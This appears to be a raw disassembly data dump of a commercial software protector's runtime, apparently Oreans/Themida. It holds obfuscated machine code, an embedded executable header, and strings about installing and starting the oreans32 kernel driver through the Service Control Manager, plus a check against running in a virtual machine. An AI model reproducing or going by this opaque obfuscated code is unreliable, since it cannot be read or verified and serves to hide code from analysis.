dd 0A84h, 0D85C700h, 105E931h, 8D000000h, 0EBBB43B5h, 0D6E805h
dd 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh, 0A84h
dd 5985C700h, 105E931h, 8D000000h, 0EBBB49B5h, 0AEE805h
dd 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh, 0A84h
dd 5985C700h, 105E91Fh, 8D000000h, 0EBBB57B5h, 86E805h
dd 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh, 0A84h
dd 4D85C700h, 105E917h, 8D000000h, 0EBBB64B5h, 5EE805h
dd 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh, 0A84h
dd 0B185C700h, 105E912h, 8D000000h, 0EBBB6FB5h, 36E805h
dd 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh, 0A84h
dd 0E585C700h, 105E92Ch, 0E9000000h, 1, 203F8047h, 9840Fh
dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
dd 19E9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 2840Fh
dd 0C92B0000h, 3E804746h, 8840F00h, 0B000000h, 0D6850FC9h
dd 0BFFFFFFh, 21840FC9h, 80000000h, 840F003Fh, 9, 0F203F80h
dd 0A85h, 1B900h, 5E90000h, 0B9000000h, 0
dd 840FC90Bh, 0Dh, 0B589F32Bh, 5EBBB90h, 0AE9h, 9085C700h
dd 5EBBBh, 61000000h, 0E9C88BC3h, 20Eh, 6E614333h, 20746F6Eh
dd 74697277h, 726F2065h, 736E6165h, 6478762Eh, 614D0D0Ah
dd 7320656Bh, 20657275h, 74616874h, 69687420h, 69662073h
dd 6920656Ch, 6F6E2073h, 65622074h, 20676E69h, 64657375h
dd 20796220h, 746F6E61h, 20726568h, 676F7270h, 2E6D6172h
dd 68h dup(0)
aOreans_vxd db '\Oreans.vxd',0
dd 2 dup(0)
dd 0EFE90000h, 0C6000000h, 0E90EE585h, 86684705h, 0FFE3E45Bh
dd 0E92345B5h, 0CF858D05h, 0FF05E939h, 10468D0h, 9D8D0000h
dd 5E912C5h, 50D0FF53h, 0C103B58Dh, 0FE8B05EBh, 0FAEC032h
dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 0EE585C6h
dd 684305E9h, 0BC8E6EFCh, 2345B5FFh, 858D05E9h, 5E939CFh
dd 0B58DD0FFh, 5E912C5h, 8068006Ah, 6A000000h, 6A006A02h
dd 6800h, 0FF56C000h, 0C6D88BD0h, 0E90EE585h, 56685705h
dd 0FFA69BEEh, 0E92345B5h, 0CF858D05h, 0FF05E939h, 1DBD8DD0h
dd 8D05E92Bh, 0EBC2298Dh, 57006A05h, 37D068h, 0FF535100h
dd 0FC085D0h, 1B85h, 0BB58D00h, 8D05EBBFh, 0EBAA9785h
dd 8DD0FF05h, 0E972D48Dh, 0B805h, 0E1FF0000h, 0EE585C6h
dd 684305E9h, 0C0764AA7h, 2345B5FFh, 858D05E9h, 5E939CFh
dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0
dd 0EC08358h, 2E90889h, 8B000000h, 37D0E9C3h, 5A4D0000h
dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
dd 400000h, 8 dup(0)
dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h
dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
dd 240A0Dh, 0
dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
dd 454C0000h, 0
dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
dd 2000000h, 1C00000h, 900000h, 0
dd 7E0000h, 0
dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
dd 12C0000h, 1380000h, 2 dup(0)
dd 1420000h, 1960000h, 1D20000h, 0
dd 1D20000h, 0
dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
dd 27C00400h, 0
dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h
dd 30001h, 2 dup(0)
dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h
dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
dd 360h dup(0)
dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h
dd 8 dup(0)
dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
dd 5273h, 9C3h dup(0)
dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h
dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 0A9E90000h
dd 41000010h, 50415644h, 2E323349h, 4C4C44h, 6E65704Fh
dd 614D4353h, 6567616Eh, 43004172h, 74616572h, 72655365h
dd 65636976h, 74530041h, 53747261h, 69767265h, 416563h
dd 4E746547h, 76697461h, 73795365h, 496D6574h, 6F666Eh
dd 6E65704Fh, 76726553h, 41656369h, 6C654400h, 53657465h
dd 69767265h, 43006563h, 65736F6Ch, 76726553h, 48656369h
dd 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch, 65636976h
dd 8 dup(0)
dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32 db 'oreans32',0
a_Oreans32 db '\\.\oreans32',0
a_GlobalOreans3 db '\\.\Global\oreans32',0
aOreansx64 db 'oreansx64',0
a_GlobalOreansx db '\\.\Global\oreansx64',0
align 4
dd 41h dup(0)
dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
dd 736E6165h, 732E3233h, 7379h, 48h dup(0)
dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
dd 676F7270h, 2E6D6172h, 59h dup(0)
dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
aSOreans_vxd db '%s\Oreans.vxd',0
align 10h
aXprotevent db 'XprotEvent',0
align 4
dd 0Ah dup(0)
dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h
dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h
dd 40800h, 94h, 5, 1, 0A28h, 2, 21h dup(0)
dd 0EE9C48Bh, 0DF000000h, 0FA70950Fh, 9B593D2h, 0A035F250h
dd 6985896Fh, 105E91Fh, 0E912599Dh, 3C08B05h, 0E92821BDh
dd 4DBD8305h, 5E916h, 0BD830975h, 5E91121h, 50197400h
dd 0B8C08B53h, 43Dh, 23B98589h, 9D8D05E9h, 5EBB8C4h, 585BD3FFh
dd 1121BD83h, 740005E9h, 0B8535017h, 43Dh, 23B98589h, 9D8D05E9h
dd 5EBB5B3h, 585BD3FFh, 0BE9h, 19F2AC00h, 0BF58317Dh, 6A096F0h
dd 8BF88B66h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1904h, 0C3524200h, 0D0C869A6h, 11E991AAh, 0C7000000h
dd 0DDE4D183h, 0EE305AB3h, 149E1166h, 850AD131h, 8166C08Bh
dd 83D5BDEFh, 0E9164DBDh, 9750005h, 1121BD83h, 740005E9h
dd 8B535013h, 0B8C0h, 9D8D0000h, 5EBB766h, 585BD3FFh, 1121BD83h
dd 740005E9h, 0B8535011h, 0
dd 0B6179D8Dh, 0D3FF05EBh, 8B66585Bh, 21BD09D6h, 8B05E92Dh
dd 13E9C0h, 0A5C70000h, 36394E7Fh, 0CDE712D4h, 0E711415Eh
dd 0A9E0F02h, 6830FBCh, 31000000h, 0E90F7DB5h, 89C08B05h
dd 0E92F4585h, 0F58D3105h, 8305E930h, 0E9164DBDh, 9750005h
dd 1121BD83h, 740005E9h, 8B535013h, 0B8C0h, 9D8D0000h
dd 5EBB698h, 585BD3FFh, 1121BD83h, 740005E9h, 0B8535011h
dd 0
dd 0B5E59D8Dh, 0D3FF05EBh, 8960585Bh, 0E9267DB5h, 0ABBA6605h
dd 958B61D5h, 5E9008Dh, 11E8h, 7CC2EF00h, 63404F3Ch, 0F764258Ch
dd 0E9143679h, 95896608h, 5E9195Dh, 6AC08B59h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 903C350h, 0E960B5E6h, 11h, 0E8058C43h, 0BDEC4E88h, 0D9BC0D1Fh
dd 8304169Ah, 83C08BBCh, 0E9164DBDh, 9750005h, 1121BD83h
dd 740005E9h, 8B535013h, 0B8C0h, 9D8D0000h, 5EBB6FFh, 585BD3FFh
dd 1121BD83h, 740005E9h, 0B8535011h, 0
dd 0B5FE9D8Dh, 0D3FF05EBh, 7E9585Bh, 0D4000000h, 4CAB04FEh
dd 8B531D6Ah, 0E900918Dh, 0F1815A05h, 52B035Bh, 870FC08Bh
dd 13h, 0EE9h, 5CD10B00h, 3E053286h, 0FB617C9Dh, 8189DDCAh
dd 57644FE7h, 60C08B52h, 5DD952Bh, 11E805E9h, 75000000h
dd 59F9A1E3h, 210F2B43h, 0B93694A3h, 572B2BBFh, 7E59D23h
dd 615A05E9h, 164DBD83h, 750005E9h, 21BD8309h, 5E911h
dd 53501374h, 0B8C08Bh, 8D000000h, 0EBB6319Dh, 5BD3FF05h
dd 11E958h, 0AF7F0000h, 8083E8F6h, 0EB6B18FEh, 0B96020C2h
dd 0F52E0DB1h, 0C08BC08Bh, 81D88A60h, 79FF1FE8h, 0BD836158h
dd 5E9164Dh, 83097500h, 0E91121BDh, 19740005h, 0C08B5350h
dd 7D0B8h, 0B9858900h, 8D05E923h, 0EBB8C49Dh, 5BD3FF05h
dd 21BD8358h, 5E911h, 53501774h, 7D0B8h, 0B9858900h, 8D05E923h
dd 0EBB5B39Dh, 5BD3FF05h, 7D958B58h, 8B05E92Eh, 0A9D981C0h
dd 0C62D9156h, 0E90EE585h, 8E95305h, 84000000h, 0B4D13398h
dd 68C974A0h, 99395F90h, 0A047EF81h, 9D8977C9h, 5E92791h
dd 2345B5FFh, 958905E9h, 5E925B5h, 39CF858Dh, 6A05E9h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 3BF345C3h, 15FA05B6h, 69BD896Ch, 0FF05E91Dh, 0BA6652D0h
dd 895FCD21h, 0E90BC585h, 0F98B6605h, 0EE585C6h, 665705E9h
dd 680377BFh, 90045206h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 18C35343h, 8D8B4E73h, 5E921E1h, 2345B5FFh
dd 666005E9h, 0F729C081h, 8D61C8B3h, 0E939CF85h, 57006A05h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 9B68D751h, 7914C60Eh, 0FFD78B65h, 398D8BD0h, 8905E90Eh
dd 0E907C985h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1504h, 0C3574700h, 12E96CCDh, 0BB000000h
dd 0FC154AB9h, 17AF4668h, 1CA08C70h, 0A9B294BFh, 5DBD8BB5h
dd 0C605E932h, 0E90EE585h, 6A4305h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0E7626DC3h
dd 25FD735Dh, 0BD8B128Bh, 5E906F1h, 90702868h, 458D31BCh
dd 0FF05E918h, 0E92345B5h, 0AE95605h, 58000000h, 0A090F23h
dd 879237ADh, 0BD295A90h, 5E9045Dh, 39CF858Dh, 816605E9h
dd 0FFE48EF1h, 6850FD0h, 1000000h, 0E900998Dh, 0B9858905h
dd 6A05E921h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 8BECC352h, 0E90AD5BDh, 0D5E78105h
dd 66102B84h, 1BB4CA81h, 0EE585C6h, 0F4C05E9h, 0E968CBB7h
dd 6AD9DA1Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 965DC356h, 8E86Bh, 0A9CB0000h
dd 0ACF28DCh, 0F5119B3h, 8Bh, 0FF5F5F00h, 0E92345B5h, 0F1B52905h
dd 8D05E91Dh, 0E939CF85h, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1404h, 0C3504000h, 6E86Bh, 9870000h
dd 0DDC4E572h, 2E31B501h, 0FF5905E9h, 99958BD0h, 8905E92Fh
dd 0E92B6185h, 8BED8005h, 0EE585C6h, 0F54605E9h, 0DE061468h
dd 0D28166BAh, 0B5FF9BC6h, 5E92345h, 0FE9h, 0B10F3B00h
dd 0C1412E8Bh, 3EE04623h, 42C89BB2h, 39CF858Dh, 0E96005E9h
dd 13h, 896D37BEh, 0F9C52D0Ah, 0B182B305h, 5334CBA0h, 0BBD912BEh
dd 2056A37Bh, 0E9D0FF61h, 0Bh, 3A459E10h, 593AF78Fh, 89B3940Eh
dd 0E92A4185h, 0B860F05h, 0F000000h, 583h, 6491B900h, 0CB8B6CE1h
dd 0EE585C6h, 34705E9h, 0E90B21BDh, 0B5E26805h, 0B5298A0Fh
dd 5E90E9Dh, 2345B5FFh, 816605E9h, 8D467BEFh, 0E939CF85h
dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 2C214ED7h, 0D999D31h, 0D0FF05E9h, 95AE281h
dd 858946E2h, 5E932C5h, 4AEBA66h, 0EE585C6h, 684705E9h
dd 83D0B5F3h, 0FFD3BF0Fh, 0E92345B5h, 0B9852905h, 8D05E926h
dd 0E939CF85h, 6DBD8B05h, 0FF05E911h, 52006AD0h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 0CF816688h, 85893066h, 5E90F89h, 9AF7B966h, 0EE585C6h
dd 6A7705E9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 1524C357h, 3B12C076h, 85B116F7h
dd 97A8A368h, 55CEB9F3h, 0B5FF3B82h, 5E90039h, 0BF58D33h
dd 858D05E9h, 5E939CFh, 61D18B60h, 0DF81D0FFh, 5201F8C0h
dd 2CF1B501h, 858905E9h, 5E903A5h, 5E9h, 66A96500h, 85C657AAh
dd 5E90EE5h, 68E0F47h, 3000000h, 0E90B99BDh, 0FAF66805h
dd 6A8728h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
dd 55450000h, 134541C3h, 0D9F6EE80h, 0FF6AF580h, 0E92345B5h
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 928F2FE5h, 8D8BAE0Fh, 5E9253Dh, 65122CBAh
dd 0CF858D43h, 0F05E939h, 58Bh, 0C1816600h, 850F1225h
dd 15h, 10E9h, 85110F00h, 0A0CEA78Ch, 5612FD0Eh, 0B60C902Bh
dd 8BD0FFD0h, 0E90E79BDh, 0A1858905h, 6A05E922h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 167FC352h, 0E680A117h, 0E585C672h, 4305E90Eh, 28EDBD8Bh
dd 0FC6805E9h, 2BBC8E6Eh, 0E900DD95h, 45B5FF05h, 0FC05E923h
dd 39CF858Dh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 4BDB2BC3h, 4BC78450h, 8178630Ch
dd 0CBEC9AE2h, 56D0FF0Ah, 78EA8166h, 85895F98h, 5E90F05h
dd 10A59589h, 85C605E9h, 5E90EE5h, 6968F945h, 0F8E7269h
dd 68Ah, 0F9BD3300h, 2305E92Bh, 0E90AF1BDh, 45B5FF05h
dd 6605E923h, 8A2809B9h, 0CF858DEFh, 8905E939h, 0E923018Dh
dd 23D0FF05h, 0E9166D95h, 61858905h, 6005E917h, 2AADB58Bh
dd 0CBF05E9h, 614D7FAAh, 0EE585C6h, 894405E9h, 0E90795B5h
dd 0EC646805h, 0BA56B8F2h, 56D54591h, 45B5FF59h, 8D05E923h
dd 0E939CF85h, 0FFD08B05h, 0D7BF0FD0h, 27118589h, 0EE905E9h
dd 0C5000000h, 8F9E7A0Dh, 0A54C3C8Bh, 7601A456h, 0E585C614h
dd 4305E90Eh, 6AC18166h, 4AA7688Dh, 6AC076h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0FDF98DC3h
dd 89EE7B63h, 0E92F4595h, 0F58D8B05h, 0FF05E932h, 0E92345B5h
dd 858DF505h, 5E939CFh, 0FFFE8B66h, 55006AD0h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0D9805690h
dd 0C58589A2h, 3305E92Dh, 0E92BA595h, 0ECBD8005h, 5EC05h
dd 0B2840Fh, 0B5290000h, 5E926D9h, 5CE858Dh, 9D3105ECh
dd 5E91E75h, 3DB96650h, 60016A36h, 8E957h, 31110000h, 0D3876B24h
dd 0F598130h, 68Eh, 810F00h, 61000000h, 2451958Bh, 6A05E9h
dd 8B006AF8h, 0E91D1D95h, 0B995FF05h, 6A05E921h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
dd 890CC355h, 0E9122995h, 6AC78105h, 8B2F06A8h, 0E927898Dh
dd 0BD858905h, 8A05E919h, 0B52960CEh, 5E90265h, 0CFB70F53h
dd 0FF6A615Ah, 6788B966h, 24ABF66h, 19BDB5FFh, 8D2305E9h
dd 5E915D9h
dd 7C995FFh, 0BD8B05E9h, 5E91841h, 6AC08Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0DFE50FC3h
dd 49B5892Bh, 8305E90Eh, 0E9164DBDh, 9750005h, 1121BD83h
dd 740005E9h, 8B535019h, 7D1B8C0h, 85890000h, 5E923B9h
dd 0B8C49D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h
dd 7D1B853h, 85890000h, 5E923B9h, 0B5B39D8Dh, 0D3FF05EBh
dd 8152585Bh, 0E44CFDD9h, 958B5F51h, 5E917A5h, 80C08BFCh
dd 85C6BEE5h, 5E90EE5h, 6E847h, 0E76E0000h, 64FC3159h
dd 6B98D89h, 685F05E9h, 93C8F7C1h, 0EE9h, 75538100h, 17578460h
dd 0F799AAE8h, 0FF06F814h, 0E92345B5h, 53006A05h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 6F906470h, 667B1BD9h, 8589EA44h, 5E91ED9h, 0DE9h, 0DBF4B00h
dd 5560ACDCh, 0FB4B34C3h, 858D2FE4h, 5E939CFh, 0F9950B60h
dd 8005E90Ah, 0FF61E8F7h, 50006AD0h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 870840EEh
dd 0B6894126h, 23B966ABh, 85B589AEh, 5005E900h, 0DC62D981h
dd 0E88A3CF1h, 0A0F858Dh, 6A05ECh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 315D58C3h, 0E928F59Dh
dd 9400C705h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 45CBC355h, 0F5637705h
dd 18B0F58h, 0F8000000h, 0A0FB58Dh, 6A05ECh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 7CD518C3h
dd 0CFCABD79h, 57006A56h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1904h, 0C3574700h, 0DE250ED8h, 8A0F817Fh
dd 6, 25618D8Bh, 0D0FF05E9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 8CC35747h, 0FFF68CFEh, 0C7D8D066h
dd 719BD09h, 800F05E9h, 2, 858DC88Ah, 5EC0A0Fh, 7E9h, 0D639AE00h
dd 989057D7h, 6047883h, 33850Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8D0180C3h
dd 5E92A69h, 0AA385C7h, 105ECh, 880F0000h, 1, 3DBD83F8h
dd 5E927h, 0BB850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 180424h, 52420000h, 50AEABC3h, 0F5800761h
dd 0A3BD83A0h, 5EC0Ah, 8B850Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 94C997C3h
dd 6B8E68D4h, 11810F51h, 0E8000000h, 6, 466A47CBh, 81666919h
dd 5FC8F5E7h, 1021BD83h, 0F0005E9h, 4484h, 52006A00h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 0B2F4FE44h, 0C7CE8B69h, 0E910A985h, 5, 13E900h, 30160000h
dd 5E37996Ah, 297DACBh, 0E87CAEDFh, 4F2F2599h, 0DB8C66FDh
dd 0BA9958Bh, 0C3F605E9h, 43840F04h, 6A000005h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 0C732C350h, 0E901BD85h, 5, 0AD90B900h, 0BD804930h, 5EC05F9h
dd 3850F00h, 66000000h, 85C6F88Bh, 5E90EE5h, 0FCBA6647h
dd 5B866830h, 850FE3E4h, 2, 0B5FF48B6h, 5E92345h, 0FE9h
dd 3023EB00h, 0CB2266B1h, 4FEA812Eh, 8BCEA08Eh, 0E8B0Fh
dd 9E90000h, 70000000h, 0A32E1D13h, 766037BBh, 39CF858Dh
dd 860F05E9h, 0Dh, 8E9h, 8CEE3600h, 0B4575B46h, 89D0FF9Eh
dd 0E927B9BDh, 1046805h, 95310000h, 5E90191h, 12C59D8Dh
dd 0F78A05E9h, 0F99D0153h, 0FF05E928h, 18DA80D0h, 12C5858Dh
dd 0BF6605E9h, 6A50279Bh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 2980C356h, 9278727Ah
dd 61D98132h, 8D5AAC00h, 0EC05AB85h, 56006A05h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 5E3C5D26h
dd 0C66C5322h, 8D89DF6Ah, 5E90CE1h, 0E950D38Bh, 6, 0F34E59FAh
dd 0CF81047Ah, 739A2F66h, 0FC7E858Dh, 952305EBh, 5E91701h
dd 89BD2950h, 0FF05E928h, 0E903A595h, 0A1950905h, 8305E923h
dd 0B5890CC4h, 5E90069h, 8068006Ah, 6A000000h, 6A006A03h
dd 6800h, 858D8000h, 5EBFC7Eh, 595FF50h, 8905E90Fh, 0EC058E85h
dd 0E585C605h, 4705E90Eh, 0B15E8768h, 45B5FFC7h, 8D05E923h
dd 0E939CF85h, 6AD0FF05h, 8EB5FF00h, 0FF05EC05h, 0CA8B66D0h
dd 2CF18D89h, 0D03D05E9h, 0F000037h, 5E83h, 188A0F00h
dd 0E9000000h, 13h, 0B240F87Eh, 3013B5BDh, 7177F341h, 0FBD541BAh
dd 0FF05081Eh, 0EC058EB5h, 11BD2B05h, 0FF05E918h, 0E92DC595h
dd 0E5958B05h, 0E905E907h, 0F4h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 0DEC35545h, 8ADAA4B1h, 0FF7E60EFh
dd 0EC058EB5h, 0C8B70F05h, 2DC595FFh, 0DE905E9h, 1000000h
dd 122D1902h, 176B94A6h, 5610DEDCh, 89006AF8h, 0E9229595h
dd 8B006A05h, 0E930D58Dh, 50006A05h, 26398D89h, 6A5F05E9h
dd 7E800h, 60200000h, 2E0DB1B9h, 6A59D3h, 0D68B6652h, 8B006A59h
dd 0C78151F8h, 3FCCD23Eh, 92858D5Fh, 6A05EC05h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 0B20BC355h, 0F0340A06h, 91BD8B75h, 5005E92Dh, 27519D89h
dd 0BD8B05E9h, 5E928F9h, 0F0595FFh, 950105E9h, 5E904A1h
dd 0FFFF883h, 15385h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 0BD2316B8h, 5E93125h
dd 0C11E858Dh, 0CF8105EBh, 56F4455Ah, 13E9h, 56A2CA00h
dd 7BD5C1FBh, 86B4DF68h, 0FECC155Ah, 47199CCh, 8D89D0FFh
dd 5E90DFDh, 952B006Ah, 5E927F1h, 8589006Ah, 5E90199h
dd 9589006Ah, 5E90675h, 0BD8B006Ah, 5E91025h, 8531006Ah
dd 5E918C9h, 880F006Ah, 6, 375958Bh, 0E95305E9h, 7, 0AA753DA4h
dd 5A355184h, 592858Dh, 858905ECh, 5E905DDh, 0AD858950h
dd 0FF05E906h, 0E90F0595h, 9E805h, 0D9A30000h, 0D857EFB7h
dd 0F047864h, 8359D7BFh, 850FFFF8h, 8Ch, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 19h, 23C35141h, 1285F740h
dd 595898Eh, 8D05E904h, 0EBFF9AB5h, 8DB7B605h, 0EBAA9785h
dd 8C0FF505h, 6, 31E19D01h, 0D0FF05E9h, 40E78166h, 0B890F6Fh
dd 0F000000h, 586h, 943ABA00h, 6A053Eh, 0B899C3BAh, 6195FF40h
dd 6A05E917h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 17042444h, 43000000h, 0ED44C353h, 0BD01C619h, 5E907C5h
dd 58E8589h, 6A05ECh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 91F050C3h, 0F2FF2212h, 6A13DCFAh
dd 6D8D8B00h, 8D05E930h, 0EC058685h, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 2C5D96E7h
